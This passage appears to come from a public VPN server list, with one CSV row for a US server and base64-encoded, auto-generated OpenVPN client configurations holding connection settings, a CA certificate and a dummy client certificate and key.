pbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn729038920,158.247.185.7,1901395,16,91620180,United States,US,33,1000,133026,8015502586761,2weeks,DESKTOP-ISR5K50's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxNTguMjQ3LjE4NS43IDE1MzgNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5